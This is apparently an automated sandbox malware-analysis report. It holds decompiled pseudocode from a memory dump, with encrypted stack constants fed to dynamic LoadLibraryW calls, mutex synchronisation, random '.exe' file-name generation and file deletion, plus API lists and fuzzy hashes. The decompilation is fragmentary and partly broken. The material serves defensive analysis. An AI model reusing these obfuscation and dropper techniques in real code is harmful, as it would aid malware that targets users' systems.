				 *((intOrPtr*)(_t134 - 0x94)) = 0xcebf7c09;
				 *((intOrPtr*)(_t134 - 0x90)) = 0xd60051e8;
				 *((intOrPtr*)(_t134 - 0x8c)) = 0xb3380c0a;
				 *((intOrPtr*)(_t134 - 0x88)) = 0xc94d4e15;
				 *((intOrPtr*)(_t134 - 0x84)) = 0x19ee285d;
				 *((intOrPtr*)(_t134 - 0x80)) = 0x334db5f7;
				 *((intOrPtr*)(_t134 - 0x7c)) = 0x9071bc52;
				 *((intOrPtr*)(_t134 - 0x78)) = 0x707419a;
				 *((intOrPtr*)(_t134 - 0x74)) = 0xd5e6fd75;
				 *((intOrPtr*)(_t134 - 0x70)) = 0xee9fe7eb;
				 *((intOrPtr*)(_t134 - 0x6c)) = 0x31474756;
				 *((intOrPtr*)(_t134 - 0x68)) = 0x11eef71f;
				 *((intOrPtr*)(_t134 - 0x64)) = 0x19c1f92f;
				 *((intOrPtr*)(_t134 - 0x60)) = 0x6099c568;
				 *((intOrPtr*)(_t134 - 0x5c)) = 0x38e0c079;
				 *((intOrPtr*)(_t134 - 0x58)) = 0x81396fb;
				 *((intOrPtr*)(_t134 - 0x54)) = 0x8daf52c0;
				 *((intOrPtr*)(_t134 - 0x50)) = 0x6d67ade1;
				 *((intOrPtr*)(_t134 - 0x4c)) = 0xd63d8fc1;
				 *((intOrPtr*)(_t134 - 0x48)) = 0x3eceb35d;
				 *((intOrPtr*)(_t134 - 0x44)) = 0x5a0d352b;
				 *((intOrPtr*)(_t134 - 0x40)) = 0x3f59c3c;
				 *((intOrPtr*)(_t134 - 0x3c)) = 0x380c7f9a;
				 *((intOrPtr*)(_t134 - 0x38)) = 0xf08dd99c;
				 *((intOrPtr*)(_t134 - 0x34)) = 0x2ad4aea7;
				 *((intOrPtr*)(_t134 - 0x30)) = 0xd49cbb05;
				 *((intOrPtr*)(_t134 - 0x2c)) = 0xaca865e;
				 *((intOrPtr*)(_t134 - 0x28)) = 0x34b98ced;
				 *((intOrPtr*)(_t134 - 0x24)) = 0x44f96df3;
				 *((intOrPtr*)(_t134 - 0x20)) = 0x5ceafb6d;
				 *((intOrPtr*)(_t134 - 0x1c)) = 0xe0907016;
				 *((intOrPtr*)(_t134 - 0x18)) = 0xbfaa049e;
				 *((intOrPtr*)(_t134 - 0x14)) = 0xf51e66fc;
				 *((intOrPtr*)(_t134 - 0x10)) = 0xddafbd8f;
				 *((intOrPtr*)(_t134 - 0xc)) = 0x7ec84b38;
				 *((intOrPtr*)(_t134 - 8)) = 0xee2f8d5b;
				 *((intOrPtr*)(_t134 - 4)) = 0x2ee75a83;
				_t132 = L00311D10(0x321260, 0x134, __edi, __esi);
				 *0x324ca4 = LoadLibraryW(_t120);
				L00311DB0(_t132);
				return E00311570(_t124,  *0x324ca4, _t134 - 0x1d8, _t132, 0x76, 0x539f34f7, 0x324ab0);
			}

0x0031bffa
0x0031bffa
0x0031c004
0x0031c00e
0x0031c018
0x0031c022
0x0031c02c
0x0031c036
0x0031c040
0x0031c04a
0x0031c054
0x0031c05e
0x0031c068
0x0031c072
0x0031c07c
0x0031c086
0x0031c090
0x0031c09a
0x0031c0a4
0x0031c0ae
0x0031c0b8
0x0031c0c2
0x0031c0cc
0x0031c0d6
0x0031c0e0
0x0031c0ea
0x0031c0f4
0x0031c0fe
0x0031c108
0x0031c112
0x0031c11c
0x0031c126
0x0031c130
0x0031c13a
0x0031c144
0x0031c14e
0x0031c158
0x0031c162
0x0031c16c
0x0031c176
0x0031c180
0x0031c18a
0x0031c194
0x0031c19e
0x0031c1a8
0x0031c1b2
0x0031c1bc
0x0031c1c6
0x0031c1d0
0x0031c1da
0x0031c1e4
0x0031c1ee
0x0031c1f8
0x0031c202
0x0031c20c
0x0031c216
0x0031c220
0x0031c22a
0x0031c234
0x0031c23e
0x0031c248
0x0031c252
0x0031c25c
0x0031c266
0x0031c270
0x0031c27a
0x0031c284
0x0031c28e
0x0031c298
0x0031c2a2
0x0031c2ac
0x0031c2b6
0x0031c2c0
0x0031c2ca
0x0031c2d4
0x0031c2de
0x0031c2e8
0x0031c2f2
0x0031c2fc
0x0031c306
0x0031c310
0x0031c31a
0x0031c324
0x0031c333
0x0031c33d
0x0031c347
0x0031c351
0x0031c35b
0x0031c365
0x0031c36c
0x0031c373
0x0031c37a
0x0031c381
0x0031c388
0x0031c38f
0x0031c396
0x0031c39d
0x0031c3a4
0x0031c3ab
0x0031c3b2
0x0031c3b9
0x0031c3c0
0x0031c3c7
0x0031c3ce
0x0031c3d5
0x0031c3dc
0x0031c3e3
0x0031c3ea
0x0031c3f1
0x0031c3f8
0x0031c3ff
0x0031c406
0x0031c40d
0x0031c414
0x0031c41b
0x0031c422
0x0031c429
0x0031c430
0x0031c437
0x0031c43e
0x0031c44d
0x0031c458
0x0031c45d
0x0031c486

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0031C450

Strings

VGG1, xrefs: 0031C388
>:, xrefs: 0031C1BC
+5Z, xrefs: 0031C3CE
Q, xrefs: 0031C33D

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: +5Z$>:$VGG1$Q
API String ID: 1029625771-1117859777
Opcode ID: 9da81b50483f7bc8a46ed4033ec68cf881fdce77c079e6c2b4104e94dbac0b91
Instruction ID: afdfe0f9f40689e113a98f9ec5f995a8b5f9c3d0ea892e05497a7c3593e2fd54
Opcode Fuzzy Hash: 9da81b50483f7bc8a46ed4033ec68cf881fdce77c079e6c2b4104e94dbac0b91
Instruction Fuzzy Hash: A5A1B6B4C06769DBEB24DF819A916DDBA70BB16304F6086C8D5593B200CB351A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 0031B4A4, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 139
libraryUNIQUE

C-Code - Quality: 98%

			E0031B4A4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t123;
				void* _t133;

				_t123 = __ebx;
				 *((intOrPtr*)(_t133 - 0x1d4)) = 0x3e194ba;
				 *((intOrPtr*)(_t133 - 0x1d0)) = 0xcb5ae7e5;
				 *((intOrPtr*)(_t133 - 0x1cc)) = 0x14c5732f;
				 *((intOrPtr*)(_t133 - 0x1c8)) = 0x53fb9532;
				 *((intOrPtr*)(_t133 - 0x1c4)) = 0xf246e569;
				 *((intOrPtr*)(_t133 - 0x1c0)) = 0xd8e37235;
				 *((intOrPtr*)(_t133 - 0x1bc)) = 0x30b2518c;
				 *((intOrPtr*)(_t133 - 0x1b8)) = 0xae793840;
				 *((intOrPtr*)(_t133 - 0x1b4)) = 0x45dda6c3;
				 *((intOrPtr*)(_t133 - 0x1b0)) = 0xa846bfe5;
				 *((intOrPtr*)(_t133 - 0x1ac)) = 0xce25b571;
				 *((intOrPtr*)(_t133 - 0x1a8)) = 0xa0d0480;
				 *((intOrPtr*)(_t133 - 0x1a4)) = 0x381f467f;
				 *((intOrPtr*)(_t133 - 0x1a0)) = 0x5e75d78d;
				 *((intOrPtr*)(_t133 - 0x19c)) = 0x1232bdea;
				 *((intOrPtr*)(_t133 - 0x198)) = 0xf1ae7c94;
				 *((intOrPtr*)(_t133 - 0x194)) = 0xcd7511f8;
				 *((intOrPtr*)(_t133 - 0x190)) = 0xd3c20dd1;
				 *((intOrPtr*)(_t133 - 0x18c)) = 0xa299daf1;
				 *((intOrPtr*)(_t133 - 0x188)) = 0x33cd7141;
				 *((intOrPtr*)(_t133 - 0x184)) = 0x835add74;
				 *((intOrPtr*)(_t133 - 0x180)) = 0x1ab2f402;
				 *((intOrPtr*)(_t133 - 0x17c)) = 0x1df2bad4;
				 *((intOrPtr*)(_t133 - 0x178)) = 0xc379fb1a;
				 *((intOrPtr*)(_t133 - 0x174)) = 0xa22c1bf9;
				 *((intOrPtr*)(_t133 - 0x170)) = 0xb0529d2f;
				 *((intOrPtr*)(_t133 - 0x16c)) = 0x7f641a7;
				 *((intOrPtr*)(_t133 - 0x168)) = 0xf9c85ac0;
				 *((intOrPtr*)(_t133 - 0x164)) = 0xdbfb1a70;
				 *((intOrPtr*)(_t133 - 0x160)) = 0xbdb38181;
				 *((intOrPtr*)(_t133 - 0x15c)) = 0xfb76298c;
				 *((intOrPtr*)(_t133 - 0x158)) = 0xca1f984c;
				 *((intOrPtr*)(_t133 - 0x154)) = 0x831cc74;
				 *((intOrPtr*)(_t133 - 0x150)) = 0x3947bdfe;
				 *((intOrPtr*)(_t133 - 0x14c)) = 0xa9add96b;
				 *((intOrPtr*)(_t133 - 0x148)) = 0x4ea56a36;
				 *((intOrPtr*)(_t133 - 0x144)) = 0x79ef7dee;
				 *((intOrPtr*)(_t133 - 0x140)) = 0x4d8fad9f;
				 *((intOrPtr*)(_t133 - 0x13c)) = 0xe0d61ece;
				 *((intOrPtr*)(_t133 - 0x138)) = 0x738cb825;
				 *((intOrPtr*)(_t133 - 0x134)) = 0x5eb130f9;
				 *((intOrPtr*)(_t133 - 0x130)) = 0x16915d1;
				 *((intOrPtr*)(_t133 - 0x12c)) = 0x29e94e4a;
				 *((intOrPtr*)(_t133 - 0x128)) = 0x568f537c;
				 *((intOrPtr*)(_t133 - 0x124)) = 0x2e0b7827;
				 *((intOrPtr*)(_t133 - 0x120)) = 0xff88b766;
				 *((intOrPtr*)(_t133 - 0x11c)) = 0xe7533b9c;
				 *((intOrPtr*)(_t133 - 0x118)) = 0x27201384;
				 *((intOrPtr*)(_t133 - 0x114)) = 0x9d4ed368;
				 *((intOrPtr*)(_t133 - 0x110)) = 0x9622ee4b;
				 *((intOrPtr*)(_t133 - 0x10c)) = 0x65a1cb07;
				 *((intOrPtr*)(_t133 - 0x108)) = 0xb9fd4af5;
				 *((intOrPtr*)(_t133 - 0x104)) = 0x1115963;
				 *((intOrPtr*)(_t133 - 0x100)) = 0xfa95e90f;
				 *((intOrPtr*)(_t133 - 0xfc)) = 0xa07788a7;
				 *((intOrPtr*)(_t133 - 0xf8)) = 0x2429942d;
				 *((intOrPtr*)(_t133 - 0xf4)) = 0xf19d9226;
				 *((intOrPtr*)(_t133 - 0xf0)) = 0xf70e3a94;
				 *((intOrPtr*)(_t133 - 0xec)) = 0x7092538b;
				 *((intOrPtr*)(_t133 - 0xe8)) = 0x17ffb4d9;
				 *((intOrPtr*)(_t133 - 0xe4)) = 0xb12d5b72;
				 *((intOrPtr*)(_t133 - 0xe0)) = 0xbfc1f7ab;
				 *((intOrPtr*)(_t133 - 0xdc)) = 0x9597fc4e;
				 *((intOrPtr*)(_t133 - 0xd8)) = 0x64eaf6b3;
				 *((intOrPtr*)(_t133 - 0xd4)) = 0xd274c067;
				 *((intOrPtr*)(_t133 - 0xd0)) = 0xdd26f90;
				 *((intOrPtr*)(_t133 - 0xcc)) = 0x9f7643fa;
				 *((intOrPtr*)(_t133 - 0xc8)) = 0xe141c644;
				 *((intOrPtr*)(_t133 - 0xc4)) = 0x4fa50425;
				 *((intOrPtr*)(_t133 - 0xc0)) = 0x842a7374;
				 *((intOrPtr*)(_t133 - 0xbc)) = 0x37a0bb7d;
				 *((intOrPtr*)(_t133 - 0xb8)) = 0x4ddf7c50;
				 *((intOrPtr*)(_t133 - 0xb4)) = 0x571fa934;
				 *((intOrPtr*)(_t133 - 0xb0)) = 0x22b4ed9d;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t133 - 0xac)) = 0x674db9c8;
				 *((intOrPtr*)(_t133 - 0xa8)) = 0x9e595797;
				 *((intOrPtr*)(_t133 - 0xa4)) = 0xbf676b2b;
				 *((intOrPtr*)(_t133 - 0xa0)) = 0x2c5aed76;
				 *((intOrPtr*)(_t133 - 0x9c)) = 0x46cb3eb9;
				 *((intOrPtr*)(_t133 - 0x98)) = 0xf310c248;
				 *((intOrPtr*)(_t133 - 0x94)) = 0x5367116a;
				 *((intOrPtr*)(_t133 - 0x90)) = 0xa31f23f;
				 *((intOrPtr*)(_t133 - 0x8c)) = 0xef968811;
				 *((intOrPtr*)(_t133 - 0x88)) = 0xb5d41bd6;
				 *((intOrPtr*)(_t133 - 0x84)) = 0x32a57979;
				 *((intOrPtr*)(_t133 - 0x80)) = 0xfc73b270;
				 *((intOrPtr*)(_t133 - 0x7c)) = 0xb4fb0ab5;
				 *((intOrPtr*)(_t133 - 0x78)) = 0x8eb8ddbd;
				 *((intOrPtr*)(_t133 - 0x74)) = 0x6949af82;
				 *((intOrPtr*)(_t133 - 0x70)) = 0x9b3f1c3f;
				 *((intOrPtr*)(_t133 - 0x6c)) = 0x7d072d75;
				 *((intOrPtr*)(_t133 - 0x68)) = 0x9ff31f4c;
				 *((intOrPtr*)(_t133 - 0x64)) = 0xc34e136c;
				 *((intOrPtr*)(_t133 - 0x60)) = 0x1c37a837;
				 *((intOrPtr*)(_t133 - 0x5c)) = 0x666fca24;
				 *((intOrPtr*)(_t133 - 0x58)) = 0x1efaa7e;
				 *((intOrPtr*)(_t133 - 0x54)) = 0x5763c5ad;
				 *((intOrPtr*)(_t133 - 0x50)) = 0xd5771a59;
				 *((intOrPtr*)(_t133 - 0x4c)) = 0x4c1f92e9;
				 *((intOrPtr*)(_t133 - 0x48)) = 0xc6af177d;
				 *((intOrPtr*)(_t133 - 0x44)) = 0x93560807;
				 *((intOrPtr*)(_t133 - 0x40)) = 0x9fab0cf;
				 *((intOrPtr*)(_t133 - 0x3c)) = 0xcc3cf8fa;
				 *((intOrPtr*)(_t133 - 0x38)) = 0x4e3e3f36;
				 *((intOrPtr*)(_t133 - 0x34)) = 0x6db992cc;
				 *((intOrPtr*)(_t133 - 0x30)) = 0xf4490784;
				 *((intOrPtr*)(_t133 - 0x2c)) = 0xa2d2bd0e;
				 *((intOrPtr*)(_t133 - 0x28)) = 0x5fd65aaa;
				 *((intOrPtr*)(_t133 - 0x24)) = 0xa9dbdcb2;
				 *((intOrPtr*)(_t133 - 0x20)) = 0xa5781439;
				 *((intOrPtr*)(_t133 - 0x1c)) = 0xfee5012e;
				 *((intOrPtr*)(_t133 - 0x18)) = 0xa08d5c8c;
				 *((intOrPtr*)(_t133 - 0x14)) = 0xa06a3ace;
				 *((intOrPtr*)(_t133 - 0x10)) = 0xdea03ac4;
				 *((intOrPtr*)(_t133 - 0xc)) = 0x31284cbc;
				 *((intOrPtr*)(_t133 - 8)) = 0xb5f364a7;
				 *((intOrPtr*)(_t133 - 4)) = 0x7fe3b542;
				_t131 = L00311D10(0x321160, 0xfc, __edi, __esi);
				 *0x324c98 = LoadLibraryW(_t119);
				L00311DB0(_t131);
				return E00311570(_t123,  *0x324c98, _t133 - 0x5b8, _t131, 0x16e, 0x5afb630a, 0x324230);
			}

0x0031b4a4
0x0031b4a4
0x0031b4ae
0x0031b4b8
0x0031b4c2
0x0031b4cc
0x0031b4d6
0x0031b4e0
0x0031b4ea
0x0031b4f4
0x0031b4fe
0x0031b508
0x0031b512
0x0031b51c
0x0031b526
0x0031b530
0x0031b53a
0x0031b544
0x0031b54e
0x0031b558
0x0031b562
0x0031b56c
0x0031b576
0x0031b580
0x0031b58a
0x0031b594
0x0031b59e
0x0031b5a8
0x0031b5b2
0x0031b5bc
0x0031b5c6
0x0031b5d0
0x0031b5da
0x0031b5e4
0x0031b5ee
0x0031b5f8
0x0031b602
0x0031b60c
0x0031b616
0x0031b620
0x0031b62a
0x0031b634
0x0031b63e
0x0031b648
0x0031b652
0x0031b65c
0x0031b666
0x0031b670
0x0031b67a
0x0031b684
0x0031b68e
0x0031b698
0x0031b6a2
0x0031b6ac
0x0031b6b6
0x0031b6c0
0x0031b6ca
0x0031b6d4
0x0031b6de
0x0031b6e8
0x0031b6f2
0x0031b6fc
0x0031b706
0x0031b710
0x0031b71a
0x0031b724
0x0031b72e
0x0031b738
0x0031b742
0x0031b74c
0x0031b756
0x0031b760
0x0031b76a
0x0031b774
0x0031b77e
0x0031b788
0x0031b792
0x0031b7a1
0x0031b7ab
0x0031b7b5
0x0031b7bf
0x0031b7c9
0x0031b7d3
0x0031b7dd
0x0031b7e7
0x0031b7f1
0x0031b7fb
0x0031b805
0x0031b80c
0x0031b813
0x0031b81a
0x0031b821
0x0031b828
0x0031b82f
0x0031b836
0x0031b83d
0x0031b844
0x0031b84b
0x0031b852
0x0031b859
0x0031b860
0x0031b867
0x0031b86e
0x0031b875
0x0031b87c
0x0031b883
0x0031b88a
0x0031b891
0x0031b898
0x0031b89f
0x0031b8a6
0x0031b8ad
0x0031b8b4
0x0031b8bb
0x0031b8c2
0x0031b8c9
0x0031b8d0
0x0031b8d7
0x0031b8de
0x0031b8ed
0x0031b8f8
0x0031b8fd
0x0031b929

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0031B8F0

Strings

vZ,, xrefs: 0031B7B5
JN), xrefs: 0031B648
}y, xrefs: 0031B60C
6?>N, xrefs: 0031B883

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: 6?>N$JN)$vZ,$}y
API String ID: 1029625771-497292648
Opcode ID: 01b9507d221fa9be6e87541c1a9b44b1272d1515c91d5efcec0b7fa48d67e2e8
Instruction ID: e39a453cefc4bb9daea98ef40d087bc6974755e5e3d2257ce2777b02dcd1afb0
Opcode Fuzzy Hash: 01b9507d221fa9be6e87541c1a9b44b1272d1515c91d5efcec0b7fa48d67e2e8
Instruction Fuzzy Hash: 73A1B8B4C153A9DBEB65DF82A9857CDBB71BB06304F6086C9C2593B314DB710A82CF85

Uniqueness

Uniqueness Score: 100.00%

Function 0031C620, Relevance: 7.5, APIs: 5, Instructions: 37
synchronizationCOMMON

C-Code - Quality: 100%

			E0031C620(void* __eflags) {
				void* __esi;
				long _t3;
				void* _t4;
				long _t8;
				void* _t10;
				void* _t11;
				void* _t12;
				int _t13;

				_t13 = 0;
				if(L0031C500(_t10, _t11, _t12, 0, __eflags) == 0) {
					L9:
					return _t13;
				}
				_t3 = WaitForSingleObject( *0x32308c, 0);
				if(_t3 == 0) {
					L3:
					_t4 = L0031C560(_t10, _t11, _t12, _t13, _t17);
					_t18 = _t4;
					if(_t4 != 0) {
						if(L0031C5C0(_t10, _t11, _t12, _t13, _t18) != 0) {
							_t8 = SignalObjectAndWait( *0x322d58,  *0x322d54, 0xffffffff, 0);
							if(_t8 == 0 || _t8 == 0x80) {
								_t13 = ResetEvent( *0x322d58);
							}
						}
						ReleaseMutex( *0x32308c);
						CloseHandle( *0x32308c);
					}
					goto L9;
				}
				_t17 = _t3 - 0x80;
				if(_t3 != 0x80) {
					goto L9;
				}
				goto L3;
			}

0x0031c621
0x0031c62a
0x0031c69d
0x0031c6a0
0x0031c6a0
0x0031c633
0x0031c63b
0x0031c644
0x0031c644
0x0031c649
0x0031c64b
0x0031c654
0x0031c666
0x0031c66e
0x0031c683
0x0031c683
0x0031c66e
0x0031c68b
0x0031c697
0x0031c697
0x00000000
0x0031c64b
0x0031c63d
0x0031c642
0x00000000
0x00000000
0x00000000

APIs

WaitForSingleObject.KERNEL32(00000000), ref: 0031C633
SignalObjectAndWait.KERNEL32(000000FF,00000000), ref: 0031C666
ResetEvent.KERNEL32 ref: 0031C67D
ReleaseMutex.KERNEL32 ref: 0031C68B
CloseHandle.KERNEL32 ref: 0031C697

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: ObjectWait$CloseEventHandleMutexReleaseResetSignalSingle
String ID:
API String ID: 3756552044-0
Opcode ID: 531f254b0786b2aec8286bc3d94aee274adcdbf0e2b3fe1e171a442a424c7cc3
Instruction ID: db2d3274b64c4cb9bbf5872d11354600a1d9c11fe572f43d09683dee8f21f055
Opcode Fuzzy Hash: 531f254b0786b2aec8286bc3d94aee274adcdbf0e2b3fe1e171a442a424c7cc3
Instruction Fuzzy Hash: 71F06230290111AFEB372B31FC08799BA6DFB49350F197128F811D50B0EB29DDA38B65

Uniqueness

Uniqueness Score: 0.01%

Function 003110B7, Relevance: 7.5, APIs: 5, Instructions: 33COMMON

APIs

_snwprintf.NTDLL ref: 003110D6
CreateEventW.KERNEL32(?,00000001,?,?), ref: 003110F1
SetEvent.KERNEL32(00000000,?,00000001,?,?), ref: 003110FE
CloseHandle.KERNEL32(00000000), ref: 00311105
CloseHandle.KERNEL32(00000000), ref: 00311111

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CloseEventHandle$Create_snwprintf
String ID:
API String ID: 2675716504-0
Opcode ID: 63ae9514ff52ece180dea0087804b40166469c9b42b2a8ff8cc47ee9e28e13fe
Instruction ID: 1b5128b5402f07944ab761fb2b8482e75fa7b4a0a5b4b945f37f3f3de81b313c
Opcode Fuzzy Hash: 63ae9514ff52ece180dea0087804b40166469c9b42b2a8ff8cc47ee9e28e13fe
Instruction Fuzzy Hash: 55F0B475B001146BD77BA7609C49FEE766D9F45700F014058FB0A96202DF389B518BA5

Uniqueness

Uniqueness Score: 0.01%

Function 0031C9C9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON

APIs

_snwprintf.NTDLL ref: 0031C9E3
GetModuleHandleW.KERNEL32(00000000), ref: 0031CA20
GetModuleHandleW.KERNEL32(00000000,00000000), ref: 0031CA40

Strings

0, xrefs: 0031CA06

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: HandleModule$_snwprintf
String ID: 0
API String ID: 960185367-4108050209
Opcode ID: 11e789fdef03a04f92c869e1ed32ffada42434a47e547be5e62d51cdef444088
Instruction ID: 1d6f4354c1061947fef41b5f15216dc21fbe7a6a3a2f0ba91f6cdb6c2cd5436c
Opcode Fuzzy Hash: 11e789fdef03a04f92c869e1ed32ffada42434a47e547be5e62d51cdef444088
Instruction Fuzzy Hash: 22118471A50218ABEB239BD0DC45FEE767CBB08740F244059FB05B72C0DB746655CBA5

Uniqueness

Uniqueness Score: 0.03%

Function 0031DD90, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29
stringCOMMON

C-Code - Quality: 100%

			E0031DD90(WCHAR* __ecx) {
				WCHAR* _t19;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				void* _t28;

				_t19 = __ecx;
				lstrcpyW(__ecx, 0x3251f8);
				_t23 = lstrlenW(_t19);
				_t19[_t23] = 0x5c;
				_t24 = _t23 + 1;
				_t28 = (GetTickCount() & 0x0000000f) + 4;
				L003121E0( &(_t19[_t24]), _t28);
				_t25 = _t24 + _t28;
				_t19[_t25] = 0x65002e;
				 *((intOrPtr*)(_t19 + 4 + _t25 * 2)) = 0x650078;
				 *((short*)(_t19 + 8 + _t25 * 2)) = 0;
				return 0;
			}

0x0031dd93
0x0031dd9b
0x0031dda8
0x0031ddaf
0x0031ddb3
0x0031ddc2
0x0031ddc7
0x0031ddcc
0x0031ddd0
0x0031ddd7
0x0031dddf
0x0031dde7

APIs

lstrcpyW.KERNEL32(?,003251F8), ref: 0031DD9B
lstrlenW.KERNEL32(?,?,003251F8), ref: 0031DDA2
GetTickCount.KERNEL32(?,?,003251F8), ref: 0031DDB4

Strings

x, xrefs: 0031DDD7

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CountTicklstrcpylstrlen
String ID: x
API String ID: 974621299-2363233923
Opcode ID: 2a486f8dfb00dcadb8beb26fe0fb609d2535bc1fa33e3bf28352ca2fa515e88d
Instruction ID: 65fb21200ab2ff78156a902cf5200cc322d3259f4c3cc1a3be81095bfe1dd071
Opcode Fuzzy Hash: 2a486f8dfb00dcadb8beb26fe0fb609d2535bc1fa33e3bf28352ca2fa515e88d
Instruction Fuzzy Hash: 3DF055B36003146BC7225FA0DC845063769EF40362B084078EC06DB212DF38C91683E0

Uniqueness

Uniqueness Score: 0.02%

Function 0031D792, Relevance: 6.1, APIs: 4, Instructions: 51
fileCOMMON

C-Code - Quality: 18%

			E0031D792(void* __edi, void* __esi, void* __eflags) {
				void* _t12;
				void* _t13;
				void* _t20;
				void* _t47;
				void* _t49;

				 *0x323664();
				_t12 = L00311D10(0x322010, 0x14, __edi, __esi);
				_t13 = _t49 - 0x410;
				 *0x323344(_t49 - 0x208, 0x104, _t12, _t49 - 0x618, _t13, _t13, 0x517393ad);
				L00311DB0(_t12);
				DeleteFileW(_t49 - 0x208);
				_t20 = L00311D10(0x321ee0, 0x58, __edi, _t12);
				 *0x323344(_t49 - 0x208, 0x104, _t20, _t49 - 0x618, 0x324ce0, 0x517393ad);
				L00311DB0(_t20);
				DeleteFileW(_t49 - 0x208);
				_t47 = L00311D10(0x321ee0, 0x58, __edi, _t20);
				goto 0x331b77;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				 *0x323344(_t49 - 0x618, _t49 - 0x410, 0x517393ad);
				L00311DB0(_t47);
				return DeleteFileW(_t49 - 0x208);
			}

0x0031d792
0x0031d7a7
0x0031d7ae
0x0031d7ca
0x0031d7d5
0x0031d7e1
0x0031d7f6
0x0031d816
0x0031d821
0x0031d82d
0x0031d847
0x0031d857
0x0031d85c
0x0031d85d
0x0031d85e
0x0031d85f
0x0031d860
0x0031d861
0x0031d862
0x0031d863
0x0031d864
0x0031d86f
0x0031d885

APIs

_snwprintf.NTDLL ref: 0031D7CA
DeleteFileW.KERNEL32(?), ref: 0031D7E1
_snwprintf.NTDLL ref: 0031D816
DeleteFileW.KERNEL32(?), ref: 0031D82D

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: DeleteFile_snwprintf
String ID:
API String ID: 366827715-0
Opcode ID: 8dce70f6fca7c126dc24681d7d42dafd1211cfc6109ab8a2898a082b91d71296
Instruction ID: 232fa5604a19a98e3c8a3f1b7475890f50f79e88e48f25d4aec9bd43c59dadf0
Opcode Fuzzy Hash: 8dce70f6fca7c126dc24681d7d42dafd1211cfc6109ab8a2898a082b91d71296
Instruction Fuzzy Hash: 231152B66001286BC762E794DC49EEF727DDF84340F0405A9F716E7141DE358B854FA4

Uniqueness

Uniqueness Score: 2.12%

Function 0031CA89, Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

APIs

GetTickCount.KERNEL32 ref: 0031CA89
GetTickCount.KERNEL32(?,00000000), ref: 0031CA97
GetTickCount.KERNEL32(?,00000000), ref: 0031CAA8
WaitForSingleObject.KERNEL32(00000000), ref: 0031CAFC

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CountTick$ObjectSingleWait
String ID:
API String ID: 2051767920-0
Opcode ID: 6419c9a70d8afaf821143dd5ae6fbee5bc1bfe1d38bc2a6d317fc830b8c39372
Instruction ID: ab7ab4d3f7026de00050518c9d15682734014ef2b3ef3939a2b433efdd50c0f4
Opcode Fuzzy Hash: 6419c9a70d8afaf821143dd5ae6fbee5bc1bfe1d38bc2a6d317fc830b8c39372
Instruction Fuzzy Hash: F4018C71A40204ABE737AFA1EC4DBAE3B7DAB48301F508429F107D30A0DB7884839F24

Uniqueness

Uniqueness Score: 0.03%

Function 0031E130, Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

C-Code - Quality: 50%

			E0031E130(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				int _t16;
				void* _t20;
